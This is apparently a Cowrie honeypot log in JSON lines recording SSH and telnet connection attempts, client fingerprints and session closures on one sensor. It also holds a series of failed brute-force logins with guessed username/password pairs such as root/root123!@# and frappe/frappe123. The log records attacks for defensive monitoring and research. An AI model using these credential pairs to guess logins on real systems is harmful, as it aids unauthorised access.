{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42398,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae9db2d62b3f","protocol":"telnet","message":"New connection: 152.42.224.71:42398 (10.17.0.5:23) [session: ae9db2d62b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:52.741440Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44290,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f5604ef1d21","protocol":"ssh","message":"New connection: 176.65.132.129:44290 (159.203.135.109:22) [session: 5f5604ef1d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:54.149920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:54.155663Z","src_ip":"176.65.132.129","session":"5f5604ef1d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:54.238672Z","src_ip":"176.65.132.129","session":"5f5604ef1d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:54.486152Z","src_ip":"176.65.132.129","session":"5f5604ef1d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:55.572963Z","src_ip":"176.65.132.129","session":"5f5604ef1d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":35586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5ddbcb14cea","protocol":"ssh","message":"New connection: 101.32.240.31:35586 (159.203.135.109:22) [session: a5ddbcb14cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:55.970994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:55.977453Z","src_ip":"101.32.240.31","session":"a5ddbcb14cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:56.217042Z","src_ip":"101.32.240.31","session":"a5ddbcb14cea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123!@#","message":"login attempt [root/root123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:57.202112Z","src_ip":"101.32.240.31","session":"a5ddbcb14cea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55800,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed1c6a3dcedc","protocol":"ssh","message":"New connection: 176.65.132.129:55800 (159.203.135.109:22) [session: ed1c6a3dcedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:57.362922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:57.368114Z","src_ip":"176.65.132.129","session":"ed1c6a3dcedc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:57.450969Z","src_ip":"176.65.132.129","session":"ed1c6a3dcedc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:57.697934Z","src_ip":"176.65.132.129","session":"ed1c6a3dcedc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":59660,"dst_ip":"159.203.135.109","dst_port":22,"session":"61b751e0a3f4","protocol":"ssh","message":"New connection: 23.249.28.115:59660 (159.203.135.109:22) [session: 61b751e0a3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:58.346686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:58.350765Z","src_ip":"23.249.28.115","session":"61b751e0a3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:58.443095Z","src_ip":"101.32.240.31","session":"a5ddbcb14cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:58.540672Z","src_ip":"23.249.28.115","session":"61b751e0a3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:58.782485Z","src_ip":"176.65.132.129","session":"ed1c6a3dcedc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serveur","message":"login attempt [root/serveur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:59.331872Z","src_ip":"23.249.28.115","session":"61b751e0a3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:00.526635Z","src_ip":"23.249.28.115","session":"61b751e0a3f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55804,"dst_ip":"159.203.135.109","dst_port":22,"session":"5770f0bcf313","protocol":"ssh","message":"New connection: 176.65.132.129:55804 (159.203.135.109:22) [session: 5770f0bcf313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:00.650742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:00.658287Z","src_ip":"176.65.132.129","session":"5770f0bcf313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:00.746011Z","src_ip":"176.65.132.129","session":"5770f0bcf313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:01.179061Z","src_ip":"176.65.132.129","session":"5770f0bcf313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:02.270442Z","src_ip":"176.65.132.129","session":"5770f0bcf313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.63646197319031,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:03.394769Z","src_ip":"152.42.224.71","session":"8745f5ce4c76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.13700842857361,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:03.806170Z","src_ip":"152.42.224.71","session":"8f1066c9ea3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52078,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ce824fa1300","protocol":"telnet","message":"New connection: 152.42.224.71:52078 (10.17.0.5:23) [session: 0ce824fa1300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:04.123920Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55814,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e5021a451a0","protocol":"ssh","message":"New connection: 176.65.132.129:55814 (159.203.135.109:22) [session: 6e5021a451a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:04.131001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:04.137873Z","src_ip":"176.65.132.129","session":"6e5021a451a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:04.221962Z","src_ip":"176.65.132.129","session":"6e5021a451a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:04.473293Z","src_ip":"176.65.132.129","session":"6e5021a451a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:05.650661Z","src_ip":"176.65.132.129","session":"6e5021a451a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42154,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cb7f302cd5b","protocol":"ssh","message":"New connection: 176.65.132.129:42154 (159.203.135.109:22) [session: 2cb7f302cd5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:07.285804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:07.291239Z","src_ip":"176.65.132.129","session":"2cb7f302cd5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:07.374598Z","src_ip":"176.65.132.129","session":"2cb7f302cd5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:07.626262Z","src_ip":"176.65.132.129","session":"2cb7f302cd5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:08.713485Z","src_ip":"176.65.132.129","session":"2cb7f302cd5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42176,"dst_ip":"159.203.135.109","dst_port":22,"session":"d308a0836bd5","protocol":"ssh","message":"New connection: 176.65.132.129:42176 (159.203.135.109:22) [session: d308a0836bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:10.609889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:10.735061Z","src_ip":"176.65.132.129","session":"d308a0836bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:10.743833Z","src_ip":"176.65.132.129","session":"d308a0836bd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:11.130286Z","src_ip":"176.65.132.129","session":"d308a0836bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:12.217782Z","src_ip":"176.65.132.129","session":"d308a0836bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42198,"dst_ip":"159.203.135.109","dst_port":22,"session":"4afb91643cad","protocol":"ssh","message":"New connection: 176.65.132.129:42198 (159.203.135.109:22) [session: 4afb91643cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:14.029404Z"}
